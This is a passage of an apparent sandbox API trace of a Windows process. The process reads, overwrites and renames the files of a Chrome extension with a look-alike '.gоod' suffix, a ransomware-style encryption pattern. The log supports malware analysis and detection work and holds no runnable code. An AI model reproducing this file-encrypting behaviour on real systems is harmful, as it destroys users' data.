nBufferLength=0x105, lpBuffer=0x1f6e84b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png", lpFilePart=0x0) returned 0x7b [0223.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e89d0) returned 1 [0223.428] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0223.429] GetFileType (hFile=0x808) returned 0x1 [0223.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8940) returned 1 [0223.429] GetFileType (hFile=0x808) returned 0x1 [0223.429] WriteFile (in: hFile=0x808, lpBuffer=0x36dc9d8*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x1f6e89b8, lpOverlapped=0x0 | out: lpBuffer=0x36dc9d8*, lpNumberOfBytesWritten=0x1f6e89b8*=0xb0, lpOverlapped=0x0) returned 1 [0223.430] CloseHandle (hObject=0x808) returned 1 [0223.430] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png", lpFilePart=0x0) returned 0x7b [0223.430] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.gоod", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.gоod", lpFilePart=0x0) returned 0x80 [0223.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8ae0) returned 1 [0223.430] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), fInfoLevelId=0x0, lpFileInformation=0x1f6e8bc0 | out: lpFileInformation=0x1f6e8bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554bb921, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5572f0cc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x816253ce, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0223.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8aa0) returned 1 [0223.430] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.gоod")) returned 1 [0223.431] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html", lpFilePart=0x0) returned 0x79 [0223.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8b20) returned 1 [0223.431] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), fInfoLevelId=0x0, lpFileInformation=0x36dddb0 | out: lpFileInformation=0x36dddb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554ca385, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554cea98, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb5c41700, ftLastWriteTime.dwHighDateTime=0x1d03fb2, nFileSizeHigh=0x0, nFileSizeLow=0x5c)) returned 1 [0223.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8ae0) returned 1 [0223.431] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html", nBufferLength=0x105, lpBuffer=0x1f6e84b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html", lpFilePart=0x0) returned 0x79 [0223.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e89d0) returned 1 [0223.431] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0223.431] GetFileType (hFile=0x808) returned 0x1 [0223.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8940) returned 1 [0223.431] GetFileType (hFile=0x808) returned 0x1 [0223.431] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1f6e8b78 | out: lpFileSizeHigh=0x1f6e8b78*=0x0) returned 0x5c [0223.431] ReadFile (in: hFile=0x808, lpBuffer=0x36de178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e8aa8, lpOverlapped=0x0 | out: lpBuffer=0x36de178*, lpNumberOfBytesRead=0x1f6e8aa8*=0x5c, lpOverlapped=0x0) returned 1 [0223.589] CloseHandle (hObject=0x808) returned 1 [0223.615] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html", nBufferLength=0x105, lpBuffer=0x1f6e84b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html", lpFilePart=0x0) returned 0x79 [0223.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e89d0) returned 1 [0223.615] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0223.616] GetFileType (hFile=0x808) returned 0x1 [0223.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8940) returned 1 [0223.616] GetFileType (hFile=0x808) returned 0x1 [0223.616] WriteFile (in: hFile=0x808, lpBuffer=0x368bc70*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x1f6e89b8, lpOverlapped=0x0 | out: lpBuffer=0x368bc70*, lpNumberOfBytesWritten=0x1f6e89b8*=0x60, lpOverlapped=0x0) returned 1 [0223.617] CloseHandle (hObject=0x808) returned 1 [0223.617] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html", lpFilePart=0x0) returned 0x79 [0223.617] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.gоod", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.gоod", lpFilePart=0x0) returned 0x7e [0223.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8ae0) returned 1 [0223.617] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), fInfoLevelId=0x0, lpFileInformation=0x1f6e8bc0 | out: lpFileInformation=0x1f6e8bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554ca385, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554cea98, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x817ef119, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x60)) returned 1 [0223.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8aa0) returned 1 [0223.618] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.gоod")) returned 1 [0223.619] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js", lpFilePart=0x0) returned 0x77 [0223.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8b20) returned 1 [0223.619] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), fInfoLevelId=0x0, lpFileInformation=0x368d028 | out: lpFileInformation=0x368d028*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554d3fca, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554d5fc8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb5c41700, ftLastWriteTime.dwHighDateTime=0x1d03fb2, nFileSizeHigh=0x0, nFileSizeLow=0x5f)) returned 1 [0223.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8ae0) returned 1 [0223.619] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js", nBufferLength=0x105, lpBuffer=0x1f6e84b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js", lpFilePart=0x0) returned 0x77 [0223.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e89d0) returned 1 [0223.619] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0223.619] GetFileType (hFile=0x808) returned 0x1 [0223.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8940) returned 1 [0223.619] GetFileType (hFile=0x808) returned 0x1 [0223.619] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1f6e8b78 | out: lpFileSizeHigh=0x1f6e8b78*=0x0) returned 0x5f [0223.619] ReadFile (in: hFile=0x808, lpBuffer=0x368d3d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e8aa8, lpOverlapped=0x0 | out: lpBuffer=0x368d3d0*, lpNumberOfBytesRead=0x1f6e8aa8*=0x5f, lpOverlapped=0x0) returned 1 [0223.727] CloseHandle (hObject=0x808) returned 1 [0223.754] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js", nBufferLength=0x105, lpBuffer=0x1f6e84b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js", lpFilePart=0x0) returned 0x77 [0223.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e89d0) returned 1 [0223.754] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0223.755] GetFileType (hFile=0x808) returned 0x1 [0223.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8940) returned 1 [0223.755] GetFileType (hFile=0x808) returned 0x1 [0223.755] WriteFile (in: hFile=0x808, lpBuffer=0x3577140*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x1f6e89b8, lpOverlapped=0x0 | out: lpBuffer=0x3577140*, lpNumberOfBytesWritten=0x1f6e89b8*=0x60, lpOverlapped=0x0) returned 1 [0223.756] CloseHandle (hObject=0x808) returned 1 [0223.756] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js", lpFilePart=0x0) returned 0x77 [0223.756] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.gоod", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.gоod", lpFilePart=0x0) returned 0x7c [0223.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8ae0) returned 1 [0223.756] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), fInfoLevelId=0x0, lpFileInformation=0x1f6e8bc0 | out: lpFileInformation=0x1f6e8bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554d3fca, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554d5fc8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x819464fc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x60)) returned 1 [0223.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8aa0) returned 1 [0223.757] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.gоod")) returned 1 [0223.757] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json", lpFilePart=0x0) returned 0x7d [0223.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8b20) returned 1 [0223.757] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json"), fInfoLevelId=0x0, lpFileInformation=0x3578500 | out: lpFileInformation=0x3578500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551b5348, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554dfc08, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55727baf, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2d5)) returned 1 [0223.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8ae0) returned 1 [0223.758] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json", nBufferLength=0x105, lpBuffer=0x1f6e84b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json", lpFilePart=0x0) returned 0x7d [0223.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e89d0) returned 1 [0223.758] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0223.758] GetFileType (hFile=0x808) returned 0x1 [0223.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8940) returned 1 [0223.758] GetFileType (hFile=0x808) returned 0x1 [0223.758] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1f6e8b78 | out: lpFileSizeHigh=0x1f6e8b78*=0x0) returned 0x2d5 [0223.758] ReadFile (in: hFile=0x808, lpBuffer=0x3578b60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e8aa8, lpOverlapped=0x0 | out: lpBuffer=0x3578b60*, lpNumberOfBytesRead=0x1f6e8aa8*=0x2d5, lpOverlapped=0x0) returned 1 [0223.759] CloseHandle (hObject=0x808) returned 1 [0224.401] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json", nBufferLength=0x105, lpBuffer=0x1f6e84b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json", lpFilePart=0x0) returned 0x7d [0224.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e89d0) returned 1 [0224.401] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0224.402] GetFileType (hFile=0x860) returned 0x1 [0224.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8940) returned 1 [0224.402] GetFileType (hFile=0x860) returned 0x1 [0224.402] WriteFile (in: hFile=0x860, lpBuffer=0x37021d0*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x1f6e89b8, lpOverlapped=0x0 | out: lpBuffer=0x37021d0*, lpNumberOfBytesWritten=0x1f6e89b8*=0x2e0, lpOverlapped=0x0) returned 1 [0224.403] CloseHandle (hObject=0x860) returned 1 [0224.403] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json", lpFilePart=0x0) returned 0x7d [0224.403] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json.gоod", lpFilePart=0x0) returned 0x82 [0224.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8ae0) returned 1 [0224.403] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e8bc0 | out: lpFileInformation=0x1f6e8bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551b5348, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554dfc08, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x81f8aad0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2e0)) returned 1 [0224.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8aa0) returned 1 [0224.404] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json.gоod")) returned 1 [0224.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8340) returned 1 [0224.405] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", nBufferLength=0x105, lpBuffer=0x1f6e7de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User 